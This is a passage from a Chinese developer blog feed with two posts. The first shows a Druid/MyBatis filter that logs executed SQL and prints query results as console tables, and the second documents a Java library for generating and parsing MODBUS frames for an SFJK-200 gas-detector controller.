function_">getJdbcParameter</span><span class="params">(JdbcParameter jdbcParam)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (jdbcParam == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> jdbcParam.getValue();</span><br><span class="line">        <span class="comment">// 处理 java8 时间</span></span><br><span class="line">        <span class="keyword">if</span> (value <span class="keyword">instanceof</span> TemporalAccessor) &#123;</span><br><span class="line">            <span class="keyword">return</span> value.toString();</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> value;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> String <span class="title function_">printSql</span><span class="params">(String sql, StatementProxy statement)</span> &#123;</span><br><span class="line">        <span class="comment">// 打印 sql</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">sqlLogger</span> <span class="operator">=</span> <span class="string">&quot;\n--------------------------------[ %s Sql Log ]---------------------------------&quot;</span> + <span class="string">&quot;\n%s&quot;</span> + <span class="string">&quot;\n--------------------------------[ Sql Execute Time: %s  ]---------------------------------\n&quot;</span>;</span><br><span class="line">        <span class="keyword">return</span> String.format(sqlLogger, LocalDateTime.now().format(DateTimeFormatter.ofPattern(DateConstant.NORM_DATETIME_PATTERN)), sql.trim(), format(statement.getLastExecuteTimeNano()));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 格式化执行时间，单位为 ms 和 s，保留三位小数</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@param</span> nanos 纳秒</span></span><br><span class="line"><span class="comment">     * <span class="doctag">@return</span> 格式化后的时间</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> String <span class="title function_">format</span><span class="params">(<span class="type">long</span> nanos)</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (nanos &lt; <span class="number">1</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&quot;0ms&quot;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">double</span> <span class="variable">millis</span> <span class="operator">=</span> (<span class="type">double</span>) nanos / (<span class="number">1000</span> * <span class="number">1000</span>);</span><br><span class="line">        <span class="comment">// 不够 1 ms，最小单位为 ms</span></span><br><span class="line">        <span class="keyword">if</span> (millis &gt; <span class="number">1000</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> String.format(<span class="string">&quot;%.3fs&quot;</span>, millis / <span class="number">1000</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> String.format(<span class="string">&quot;%.3fms&quot;</span>, millis);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">resultSet_next</span><span class="params">(FilterChain chain, ResultSetProxy resultSet)</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">next</span> <span class="operator">=</span> <span class="built_in">super</span>.resultSet_next(chain, resultSet);</span><br><span class="line">        <span class="comment">// 支持动态开启</span></span><br><span class="line">        <span class="keyword">if</span> (!mybatisProperties.isShowSql()) &#123;</span><br><span class="line">            <span class="keyword">return</span> next;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="comment">// 是否开启调试</span></span><br><span class="line">        <span class="keyword">if</span> (!log.isInfoEnabled()) &#123;</span><br><span class="line">            <span class="keyword">return</span> next;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (!next) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">querySql</span> <span class="operator">=</span> statement(resultSet.getStatementProxy());</span><br><span class="line">            <span class="type">String</span> <span class="variable">sqlLogger</span> <span class="operator">=</span> querySql + <span class="string">&quot;&#123;&#125;&quot;</span> + <span class="string">&quot;--------------------------------[ Results Total &#123;&#125; ]---------------------------------\n&quot;</span>;</span><br><span class="line">            <span class="type">String</span> <span class="variable">results</span> <span class="operator">=</span> <span class="string">&quot;&quot;</span>;</span><br><span class="line">            <span class="keyword">if</span> (rowList.size() &gt; <span class="number">0</span>) &#123;</span><br><span class="line">                results = TableConsoleUtil.printResult(rowList);</span><br><span class="line">            &#125;</span><br><span class="line">            log.info(sqlLogger, results, rows);</span><br><span class="line">            rows = <span class="number">0</span>;</span><br><span class="line">            rowList = <span class="keyword">new</span> <span class="title class_">LinkedList</span>&lt;&gt;();</span><br><span class="line">            first = <span class="literal">true</span>;</span><br><span class="line">            STATEMENT_CLOSE_RUN = <span class="literal">false</span>;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        STATEMENT_CLOSE_RUN = <span class="literal">true</span>;</span><br><span class="line">        rows++;</span><br><span class="line">        rs = resultSet.getResultSetRaw();</span><br><span class="line">        <span class="type">ResultSetMetaData</span> <span class="variable">rsmd</span> <span class="operator">=</span> resultSet.getMetaData();</span><br><span class="line">        <span class="keyword">final</span> <span class="type">int</span> <span class="variable">columnCount</span> <span class="operator">=</span> rsmd.getColumnCount();</span><br><span class="line">        <span class="keyword">if</span> (first) &#123;</span><br><span class="line">            first = <span class="literal">false</span>;</span><br><span class="line">            printColumnHeaders(rsmd, columnCount);</span><br><span class="line">        &#125;</span><br><span class="line">        printColumnValues(columnCount);</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">printColumnHeaders</span><span class="params">(ResultSetMetaData rsmd, <span class="type">int</span> columnCount)</span> <span class="keyword">throws</span> SQLException &#123;</span><br><span class="line">        <span class="type">StringJoiner</span> <span class="variable">row</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringJoiner</span>(<span class="string">&quot;,&quot;</span>);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt;= columnCount; i++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (BLOB_TYPES.contains(rsmd.getColumnType(i))) &#123;</span><br><span class="line">                blobColumns.add(i);</span><br><span class="line">            &#125;</span><br><span class="line">            row.add(rsmd.getColumnLabel(i));</span><br><span class="line">        &#125;</span><br><span class="line">        rowList.add(row.toString());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">void</span> <span class="title function_">printColumnValues</span><span class="params">(<span class="type">int</span> columnCount)</span> &#123;</span><br><span class="line">        <span class="type">StringJoiner</span> <span class="variable">row</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringJoiner</span>(<span class="string">&quot;,&quot;</span>);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt;= columnCount; i++) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">if</span> (blobColumns.contains(i)) &#123;</span><br><span class="line">                    row.add(<span class="string">&quot;&lt;&lt;BLOB&gt;&gt;&quot;</span>);</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    row.add(rs.getString(i));</span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">catch</span> (SQLException e) &#123;</span><br><span class="line">                <span class="comment">// generally can&#x27;t call getString() on a BLOB column</span></span><br><span class="line">                row.add(<span class="string">&quot;&lt;&lt;Cannot Display&gt;&gt;&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        rowList.add(row.toString());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="将结果格式化为表格形式的工具代码">将结果格式化为表格形式的工具代码</h3><p>目前因为查询出的结果包含中文汉字，为了尽可能整齐，只是默认取了一个汉字为1.5倍的其他字符。有兴趣的自己修改成根据字体、字号获取实际的宽度并生成表格。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> cn.allbs.mybatis.utils;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.math.BigDecimal;</span><br><span class="line"><span class="keyword">import</span> java.math.RoundingMode;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 类 TableConsoleUtil</span></span><br><span class="line"><span class="comment"> * &lt;/p&gt;</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@author</span> ChenQi</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@since</span> 2023/3/24 13:45</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">TableConsoleUtil</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> String <span class="title function_">printResult</span><span class="params">(List&lt;String&gt; rows)</span> &#123;</span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">sb</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>();</span><br><span class="line">        String[] tempA = rows.get(<span class="number">0</span>).split(<span class="string">&quot;,&quot;</span>);</span><br><span class="line">        <span class="type">int</span> <span class="variable">maxLen</span> <span class="operator">=</span> tempA.length;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">1</span>; i &lt; rows.size(); i++) &#123;</span><br><span class="line">            tempA = rows.get(i).split(<span class="string">&quot;,&quot;</span>);</span><br><span class="line">            <span class="keyword">if</span> (maxLen &lt; tempA.length) maxLen = tempA.length;</span><br><span class="line">        &#125;</span><br><span class="line">        String[][] row = <span class="keyword">new</span> <span class="title class_">String</span>[rows.size()][maxLen];</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; row.length; i++)</span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; row[<span class="number">0</span>].length; j++)</span><br><span class="line">                row[i][j] = <span class="string">&quot;&quot;</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; rows.size(); i++) &#123;</span><br><span class="line">            tempA = rows.get(i).split(<span class="string">&quot;,&quot;</span>);</span><br><span class="line">            System.arraycopy(tempA, <span class="number">0</span>, row[i], <span class="number">0</span>, tempA.length);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">int</span>[] maxJ = <span class="keyword">new</span> <span class="title class_">int</span>[maxLen];</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; maxLen; j++) &#123;</span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; rows.size(); i++) &#123;</span><br><span class="line">                <span class="type">int</span> <span class="variable">vLen</span> <span class="operator">=</span> (getWordCount(row[i][j]) - <span class="number">1</span> &gt;&gt; <span class="number">3</span>) * <span class="number">8</span> + <span class="number">8</span>;</span><br><span class="line">                <span class="keyword">if</span> (vLen &gt; maxJ[j]) &#123;</span><br><span class="line">                    maxJ[j] = vLen;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">StringBuilder</span> <span class="variable">opera</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StringBuilder</span>(<span class="string">&quot;+&quot;</span>);</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> value : maxJ) &#123;</span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">k</span> <span class="operator">=</span> <span class="number">0</span>; k &lt; value; k++) &#123;</span><br><span class="line">                opera.append(<span class="string">&#x27;-&#x27;</span>);</span><br><span class="line"></span><br><span class="line">            &#125;</span><br><span class="line">            opera.append(<span class="string">&#x27;+&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">first</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line">        <span class="keyword">for</span> (String[] strings : row) &#123;</span><br><span class="line">            <span class="keyword">if</span> (first) &#123;</span><br><span class="line">                sb.append(opera);</span><br><span class="line">                sb.append(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            sb.append(<span class="string">&quot;|&quot;</span>);</span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>; j &lt; row[<span class="number">0</span>].length; j++) &#123;</span><br><span class="line">                <span class="type">int</span> <span class="variable">len</span> <span class="operator">=</span> maxJ[j] - getWordCount(strings[j]);</span><br><span class="line">                String format;</span><br><span class="line">                <span class="keyword">if</span> (len == <span class="number">0</span>) &#123;</span><br><span class="line">                    format = <span class="string">&quot;&quot;</span> + <span class="string">&quot;%s&quot;</span>;</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    format = <span class="string">&quot;%&quot;</span> + len + <span class="string">&quot;s&quot;</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                sb.append(strings[j]);</span><br><span class="line">                sb.append(String.format(format, <span class="string">&quot;&quot;</span>));</span><br><span class="line">                sb.append(<span class="string">&quot;|&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">            sb.append(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">            <span class="keyword">if</span> (first) &#123;</span><br><span class="line">                sb.append(opera);</span><br><span class="line">                sb.append(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">                first = <span class="literal">false</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        sb.append(opera);</span><br><span class="line">        sb.append(<span class="string">&quot;\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> sb.toString();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">int</span> <span class="title function_">getWordCount</span><span class="params">(String s)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">length</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="type">int</span> <span class="variable">chineseNum</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; s.length(); i++) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">ascii</span> <span class="operator">=</span> Character.codePointAt(s, i);</span><br><span class="line">            <span class="keyword">if</span> (ascii &gt;= <span class="number">0</span> &amp;&amp; ascii &lt;= <span class="number">255</span>) length++;</span><br><span class="line">            <span class="keyword">else</span> chineseNum++;</span><br><span class="line"></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> BigDecimal.valueOf(length + chineseNum * <span class="number">1.5</span>).setScale(<span class="number">0</span>, RoundingMode.HALF_UP).intValue();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="注册过滤器">注册过滤器</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Bean</span></span><br><span class="line"><span class="keyword">public</span> DruidSqlLogFilter <span class="title function_">sqlLogFilter</span><span class="params">(MybatisProperties properties)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">DruidSqlLogFilter</span>(properties);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="添加了配置开关当前日志打印效果">添加了配置开关当前日志打印效果</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="meta">@ConfigurationProperties(&quot;mybatis-plus&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MybatisProperties</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 是否打印可执行 sql</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">boolean</span> <span class="variable">showSql</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="使用说明">使用说明</h3><p>需要将mybatis实现的日志打印注释，防止和本文打印的日志重复。同时将show-sql设置为true。如果生产环境不需要日志打印将其设置为false即可。</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/71512c73d7422d3ac8ec9ad875090d0e.png" alt="image-20230324171355944"></p><h3 id="实际使用示例">实际使用示例</h3><h4 id="查询">查询</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/5537810642678293fd5fe10096632068.png" alt="image-20230324171742293"></p><h4 id="新增">新增</h4><p>返回值为插入数据的主键</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/480fee801dceae2f25ed124f76d2a2a4.png" alt="image-20230324173942066"></p><h4 id="更新">更新</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/403c7fe7e92460853558fadd09292067.png" alt="image-20230324174140031"></p><h4 id="删除">删除</h4><p>因为使用逻辑删除所以是更新语句</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/de1ef96f80f3f1c4d4ce4aa46e4ebff8.png" alt="image-20230324174229284"></p><p>移出逻辑删除后</p><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/efb12e24df700453091385cf3e75fd3c.png" alt="image-20230324174316869"></p><h4 id="xml中的自定义sql">xml中的自定义sql</h4><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/6ed4ea15900c064f845b047f94a8aa40.png" alt="image-20230327110013088"></p>]]></content>
    
    
    <summary type="html">在使用了阿里durid连接池的情况下，将sql日志按照自定义格式打印出来，比如将参数填充、结果按照表格输出。</summary>
    
    
    
    <category term="数据库" scheme="https://blog.allbs.cn/categories/%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    
    
    <category term="数据库" scheme="https://blog.allbs.cn/tags/%E6%95%B0%E6%8D%AE%E5%BA%93/"/>
    
    <category term="mybatis" scheme="https://blog.allbs.cn/tags/mybatis/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="sql" scheme="https://blog.allbs.cn/tags/sql/"/>
    
  </entry>
  
  <entry>
    <title>SFJK-200 可燃气体控制器 MODBUS 通讯协议</title>
    <link href="https://blog.allbs.cn/posts/33130/"/>
    <id>https://blog.allbs.cn/posts/33130/</id>
    <published>2023-03-10T02:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.062Z</updated>
    
    <content type="html"><![CDATA[<h2 id="工具包引入">工具包引入</h2><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-model<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>0.6.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><h2 id="源码下载"><a href="https://github.com/chenqi92/allbs-model">源码下载</a></h2><a class="tag-Link" target="_blank" href="https://github.com/chenqi92/allbs-model">    <div class="tag-link-tips">引用站外地址</div>    <div class="tag-link-bottom">        <div class="tag-link-left" style="background-image: url(https://api.iowen.cn/favicon/github.com/chenqi92/allbs-model.png);"></div>        <div class="tag-link-right">            <div class="tag-link-title">解析工具的源码下载</div>            <div class="tag-link-sitename">github</div>        </div>        <i class="fa-solid fa-angle-right"></i>    </div>    </a><h2 id="解析-生成过程中自定义参数说明">解析&amp;生成过程中自定义参数说明</h2><table><thead><tr><th style="text-align:center">应用场景</th><th style="text-align:center">参数值</th><th style="text-align:center">参数说明</th></tr></thead><tbody><tr><td style="text-align:center">指令生成</td><td style="text-align:center"><code>GeneratorEnum</code>.<code>ADDRESS</code>.name</td><td style="text-align:center">从站地址</td></tr><tr><td style="text-align:center">指令生成</td><td style="text-align:center"><code>GeneratorEnum</code>.<code>FUNCTION</code>.name</td><td style="text-align:center">功能码</td></tr><tr><td style="text-align:center">指令生成</td><td style="text-align:center"><code>GeneratorEnum</code>.<code>START_ADDRESS</code>.name</td><td style="text-align:center">起始寄存器地址</td></tr><tr><td style="text-align:center">指令生成</td><td style="text-align:center"><code>GeneratorEnum</code>.<code>READ_ADDRESS</code>.name</td><td style="text-align:center">读寄存器地址</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>data</code></td><td style="text-align:center">数据信息</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>circuit</code></td><td style="text-align:center">回路</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>point</code></td><td style="text-align:center">点数</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>gas_type</code></td><td style="text-align:center">点位属性</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>pre_gas_type</code></td><td style="text-align:center">点位属性原始值</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>gas_unit</code></td><td style="text-align:center">气体单位</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>pre_gas_unit</code></td><td style="text-align:center">气体单位原始值</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>gas_num</code></td><td style="text-align:center">气体监测值</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>detector_status</code></td><td style="text-align:center">探测器状态</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>pre_detector_status</code></td><td style="text-align:center">探测器状态原始值</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>detector_num</code></td><td style="text-align:center">探测器浓度值</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>extra_power</code></td><td style="text-align:center">外控电源状态</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>pre_extra_power</code></td><td style="text-align:center">外控电源状态原始值</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>address</code></td><td style="text-align:center">地址</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>function</code></td><td style="text-align:center">功能</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>controller_status</code></td><td style="text-align:center">控制器状态</td></tr><tr><td style="text-align:center">协议解析</td><td style="text-align:center"><code>pre_controller_status</code></td><td style="text-align:center">控制器状态原始值</td></tr></tbody></table><h2 id="生成示例">生成示例</h2><h3 id="代码">代码</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">Map&lt;String, Object&gt; map = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">4</span>);</span><br><span class="line"><span class="comment">// 地址</span></span><br><span class="line">map.put(ADDRESS.getName(), <span class="number">1</span>);</span><br><span class="line"><span class="comment">// 功能码</span></span><br><span class="line">map.put(FUNCTION.getName(), <span class="number">3</span>);</span><br><span class="line"><span class="comment">// 起始寄存器地址</span></span><br><span class="line">map.put(START_ADDRESS.getName(), <span class="number">0</span>);</span><br><span class="line"><span class="comment">// 读寄存器数量</span></span><br><span class="line">map.put(READ_ADDRESS.getName(), <span class="number">2</span>);</span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line"><span class="type">byte</span>[] bytes = sfjk200Mapper.writeDataAsByteArray(map);</span><br></pre></td></tr></table></figure><h3 id="结果">结果</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/c44cbd682ffce4183dc39b3b3a497e0f.png" alt="image-20230310143214803"></p><h2 id="解析示例">解析示例</h2><h3 id="读取-SFJK-200-控制器配置点数-未配置点数时，返回回路-x-的值为-0x00-所有请求数据-及响应数据均以-16-进制数据进行交换">读取 SFJK-200 控制器配置点数( 未配置点数时，返回回路 x 的值为 0x00 )所有请求数据 及响应数据均以 16 进制数据进行交换</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/a87785f0dbbf9982d772b17288bc9b85.png" alt="image-20230309162532082"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">9</span>];</span><br><span class="line">bytes[<span class="number">0</span>] = <span class="number">0x01</span>;</span><br><span class="line">bytes[<span class="number">1</span>] = <span class="number">0x03</span>;</span><br><span class="line">bytes[<span class="number">2</span>] = <span class="number">0x04</span>;</span><br><span class="line">bytes[<span class="number">3</span>] = <span class="number">0x3F</span>;</span><br><span class="line">bytes[<span class="number">4</span>] = <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">5</span>] = <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">6</span>] = <span class="number">0x00</span>;</span><br><span class="line">bytes[<span class="number">7</span>] = (<span class="type">byte</span>) <span class="number">0xf6</span>;</span><br><span class="line">bytes[<span class="number">8</span>] = <span class="number">0x27</span>;</span><br><span class="line"><span class="type">SFJK200Mapper</span> <span class="variable">sfjk200Mapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SFJK200Mapper</span>();</span><br><span class="line">System.out.println(sfjk200Mapper.readValue(bytes, <span class="number">0x0000</span>, Map.class));</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2023/03/2cf95a3b15b3e3bcfb700fa9f6f2f2b5.png" 